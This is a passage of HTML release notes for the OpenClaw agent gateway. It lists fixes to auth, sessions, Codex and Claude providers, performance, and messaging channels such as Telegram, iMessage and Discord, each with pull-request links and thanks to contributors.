<p>Plugin commands/SDK: preserve plugin LLM command auth, bind native plugin command dispatch to the host agent's LLM auth, keep <code>onDiagnosticEvent</code> exports discoverable through <code>Function.name</code>, stabilize diagnostic event root aliases, correlate pathless read diagnostics, suppress transient runner failures in channel command paths, and repair local approval resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510573276" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85936" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85936/hovercard" href="https://github.com/openclaw/openclaw/pull/85936">#85936</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528316238" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87084" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87084/hovercard" href="https://github.com/openclaw/openclaw/pull/87084">#87084</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526051671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86977" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86977/hovercard" href="https://github.com/openclaw/openclaw/pull/86977">#86977</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528108015" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87069" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87069/hovercard" href="https://github.com/openclaw/openclaw/pull/87069">#87069</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521793733" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86771" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86771/hovercard" href="https://github.com/openclaw/openclaw/pull/86771">#86771</a>)</p>
</li>
<li>
<p>Codex/providers: keep WebChat delivery hints out of user prompts, avoid false queued-terminal idle timeouts, share the native hook relay registry, quarantine unsupported dynamic tool schemas, preserve Claude resumed-session system prompts, normalize greedy Ollama <code>top_p</code>, preserve per-agent thinking defaults for ingress runs, and avoid native compaction takeover on budget-triggered Codex turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528562037" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87096/hovercard" href="https://github.com/openclaw/openclaw/pull/87096">#87096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347364384" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73950" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73950/hovercard" href="https://github.com/openclaw/openclaw/pull/73950">#73950</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527698191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87049" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87049/hovercard" href="https://github.com/openclaw/openclaw/pull/87049">#87049</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520410864" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86689" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86689/hovercard" href="https://github.com/openclaw/openclaw/pull/86689">#86689</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521805566" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86772/hovercard" href="https://github.com/openclaw/openclaw/pull/86772">#86772</a>)</p>
</li>
<li>
<p>Gateway/perf/release: reuse startup-warning metadata and prepared auth stores, avoid cloning live-switch and lifecycle session caches on read paths, defer warning and scheduled-service fallback imports, trim Gateway session/startup/runtime CPU churn, skip duplicate turn session touches, stop chat timeout fallback cascades, drop stale subagent announce history, bound benchmark/watch/kitchen-sink teardown waits, bound macOS/package/onboarding/plugin smoke commands, bound install finalization probes, resolve Parallels npm-update commands from guest <code>PATH</code>, and bootstrap raw AWS macOS Node/pnpm commands through <code>/usr/bin/env</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526462111" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86997" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86997/hovercard" href="https://github.com/openclaw/openclaw/pull/86997">#86997</a>)</p>
</li>
<li>
<p>Reply/perf: reduce visible reply delivery latency by preserving Telegram typing/progress context, lazy-loading slash-command startup metadata, avoiding hot-path model hydration, flag-gating Codex profiler timing, deferring context compaction maintenance, and tracking delivery timing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356002" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86989" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86989/hovercard" href="https://github.com/openclaw/openclaw/pull/86989">#86989</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356249" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86990" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86990/hovercard" href="https://github.com/openclaw/openclaw/pull/86990">#86990</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356645" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86991" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86991/hovercard" href="https://github.com/openclaw/openclaw/pull/86991">#86991</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356932" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86992" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86992/hovercard" href="https://github.com/openclaw/openclaw/pull/86992">#86992</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526357185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86993" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86993/hovercard" href="https://github.com/openclaw/openclaw/pull/86993">#86993</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526357498" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86994" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86994/hovercard" href="https://github.com/openclaw/openclaw/pull/86994">#86994</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</p>
</li>
<li>
<p>Reply/source delivery: keep TUI, Control UI, media, TTS, transcript, and Codex source-reply finals live without duplicate terminal events or stale replay artifacts.</p>
</li>
<li>
<p>Agents/replay: repair legacy tool results before replay, preserve <code>sessions_spawn</code> transcript payloads, restore current guard checks, stage sandboxed workspace media, and keep duplicate transcripts tool display metadata from reappearing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4455095754" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82203" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82203/hovercard" href="https://github.com/openclaw/openclaw/pull/82203">#82203</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524958838" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86934/hovercard" href="https://github.com/openclaw/openclaw/pull/86934">#86934</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527204031" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87025" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87025/hovercard" href="https://github.com/openclaw/openclaw/pull/87025">#87025</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Agents/sessions: handle active-fallback failures in <code>sessions_send</code> so fallback routing reports the real failure and does not leave callers with an ambiguous dropped send. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519588215" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86638" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86638/hovercard" href="https://github.com/openclaw/openclaw/pull/86638">#86638</a>)</p>
</li>
<li>
<p>Agents/hooks/subagents: enforce default hook agent allowlists, recover failed subagent lifecycle completions, and keep node task lifecycle cleanup from closing the Gateway listener. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512136564" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86101" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86101/hovercard" href="https://github.com/openclaw/openclaw/pull/86101">#86101</a>)</p>
</li>
<li>
<p>Codex: project newer OpenClaw chat history into resumed app-server threads and keep Codex turn timeouts inside the Codex runtime boundary so timeouts do not poison shared app-server clients or fall through to unrelated provider fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520169285" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86677" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86677/hovercard" href="https://github.com/openclaw/openclaw/pull/86677">#86677</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516861602" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86476/hovercard" href="https://github.com/openclaw/openclaw/pull/86476">#86476</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Config/doctor/update: narrow profiled tool-section doctor repair, keep runtime-injected legacy web-search provider config out of user-authored config validation, and keep prerelease tags excluded from stable updater resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527248275" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87030" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87030/hovercard" href="https://github.com/openclaw/openclaw/pull/87030">#87030</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522614131" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86818" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86818/hovercard" href="https://github.com/openclaw/openclaw/pull/86818">#86818</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518201643" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86559" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86559/hovercard" href="https://github.com/openclaw/openclaw/pull/86559">#86559</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</p>
</li>
<li>
<p>CLI/Windows: add a Windows-only stack-size respawn for stack-heavy startup paths, default CLI logs to local timestamps, and validate timeout/banner TTY state more strictly. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527294921" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87031" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87031/hovercard" href="https://github.com/openclaw/openclaw/pull/87031">#87031</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503181039" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85387" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85387/hovercard" href="https://github.com/openclaw/openclaw/pull/85387">#85387</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Locking/security: require owner identity proof before stale plugin lock removal, memoize session lock owner arguments, and avoid writing default exec approval stores unless policy state actually changed. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522554669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86814" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86814/hovercard" href="https://github.com/openclaw/openclaw/issues/86814">#86814</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525826501" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86964" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86964/hovercard" href="https://github.com/openclaw/openclaw/pull/86964">#86964</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alix-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alix-007">@Alix-007</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Install/release: bound Docker package build, inventory, pack, and tarball preparation with process-group timeouts; pin shrinkwrap patch drift to the pnpm lock; harden macOS restart and dSYM packaging; and run release Docker/live timeout wrappers in the foreground so child processes cannot wedge gates.</p>
</li>
<li>
<p>Telegram/network: treat <code>ENETDOWN</code> as a transient pre-connect network failure so Telegram sends, gateway unhandled-rejection handling, and cron network retries follow the same recovery path as sibling network outages. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521478619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86762" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86762/hovercard" href="https://github.com/openclaw/openclaw/pull/86762">#86762</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</p>
</li>
<li>
<p>Telegram: preserve inbound text entities, overlapping DM replies, account topic cache sidecars, outbound reply context, targeted bot-command mentions, durable group retry targets, forum topic names, and native progress callbacks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473919972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83873" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83873/hovercard" href="https://github.com/openclaw/openclaw/pull/83873">#83873</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502811207" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85361" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85361/hovercard" href="https://github.com/openclaw/openclaw/pull/85361">#85361</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506247444" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85555" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85555/hovercard" href="https://github.com/openclaw/openclaw/pull/85555">#85555</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507163567" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85656" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85656/hovercard" href="https://github.com/openclaw/openclaw/pull/85656">#85656</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508034086" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85709" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85709/hovercard" href="https://github.com/openclaw/openclaw/pull/85709">#85709</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513918910" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86299/hovercard" href="https://github.com/openclaw/openclaw/pull/86299">#86299</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518070126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86553/hovercard" href="https://github.com/openclaw/openclaw/pull/86553">#86553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>iMessage: read image attachments from local Messages attachment roots, dedupe duplicate local Messages-source accounts, seed direct DM history, fix image/group media attachment commands, advance catchup cursors after live handling, and keep slash-command acknowledgements in the source conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4460513299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82642" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82642/hovercard" href="https://github.com/openclaw/openclaw/pull/82642">#82642</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504709372" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85475" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85475/hovercard" href="https://github.com/openclaw/openclaw/pull/85475">#85475</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518328054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86569" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86569/hovercard" href="https://github.com/openclaw/openclaw/pull/86569">#86569</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520556743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86705" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86705/hovercard" href="https://github.com/openclaw/openclaw/pull/86705">#86705</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520562136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86706" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86706/hovercard" href="https://github.com/openclaw/openclaw/pull/86706">#86706</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521775849" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86770" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86770/hovercard" href="https://github.com/openclaw/openclaw/pull/86770">#86770</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/homer-byte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/homer-byte">@homer-byte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swang430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swang430">@swang430</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</p>
</li>
<li>
<p>WhatsApp/QQ/Twitch/IRC/Slack: restore WhatsApp ack identity and group-drop warnings, make QQ Bot media respect <code>OPENCLAW_HOME</code>, serialize Twitch auth disconnects, store IRC channel routes canonically, and keep Slack downloaded files out of reply media. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473618299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83833" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83833/hovercard" href="https://github.com/openclaw/openclaw/pull/83833">#83833</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501915785" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85309" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85309/hovercard" href="https://github.com/openclaw/openclaw/pull/85309">#85309</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508902915" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85777" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85777/hovercard" href="https://github.com/openclaw/openclaw/pull/85777">#85777</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509181286" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85794/hovercard" href="https://github.com/openclaw/openclaw/pull/85794">#85794</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510338183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85906" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85906/hovercard" href="https://github.com/openclaw/openclaw/pull/85906">#85906</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514166403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86318" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86318/hovercard" href="https://github.com/openclaw/openclaw/pull/86318">#86318</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520463860" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86697" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86697/hovercard" href="https://github.com/openclaw/openclaw/pull/86697">#86697</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliverp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliverp">@sliverp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</p>
</li>
<li>
<p>Discord/voice: improve voice playback and wake replies, bucket large model picker menus, merge media captions into one message, route metadata through configured proxies, restore numeric channel sends, suppress self-reply echoes, and tighten wake matching without breaking fuzzy wake phrases. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415391667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80227/hovercard" href="https://github.com/openclaw/openclaw/issues/80227">#80227</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513382967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86238/hovercard" href="https://github.com/openclaw/openclaw/pull/86238">#86238</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517016511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86487/hovercard" href="https://github.com/openclaw/openclaw/pull/86487">#86487</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518354506" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86571" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86571/hovercard" href="https://github.com/openclaw/openclaw/pull/86571">#86571</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518728147" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86595" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86595/hovercard" href="https://github.com/openclaw/openclaw/pull/86595">#86595</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518852311" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86601" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86601/hovercard" href="https://github.com/openclaw/openclaw/pull/86601">#86601</a>)</p>
</li>
<li>
<p>Codex: preserve native web-search metadata, keep oversized native thread reuse, bridge CLI API-key auth into the app server, preserve sandbox bootstrap path style, recover context-window prompt errors, honor yolo approval policy, disable native thread personality, and route compaction through Codex auth. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503098560" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85378" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85378/hovercard" href="https://github.com/openclaw/openclaw/pull/85378">#85378</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506087008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85542/hovercard" href="https://github.com/openclaw/openclaw/pull/85542">#85542</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510132239" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85891" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85891/hovercard" href="https://github.com/openclaw/openclaw/pull/85891">#85891</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510371309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85909/hovercard" href="https://github.com/openclaw/openclaw/pull/85909">#85909</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515716562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86408/hovercard" href="https://github.com/openclaw/openclaw/pull/86408">#86408</a>)</p>
</li>
<li>
<p>Agents/runtime: enforce session lock max-hold reclaim, release embedded-attempt locks on all exits, treat aborted subagent runs as terminal, avoid runtime model hydration on hot paths, disclose scoped session list counts, derive overflow budgets from provider errors, and keep fallback errors scoped to the active model candidate. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313476027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70473/hovercard" href="https://github.com/openclaw/openclaw/pull/70473">#70473</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508768461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85764/hovercard" href="https://github.com/openclaw/openclaw/pull/85764">#85764</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511256935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86014/hovercard" href="https://github.com/openclaw/openclaw/issues/86014">#86014</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512330133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86134/hovercard" href="https://github.com/openclaw/openclaw/pull/86134">#86134</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515962032" 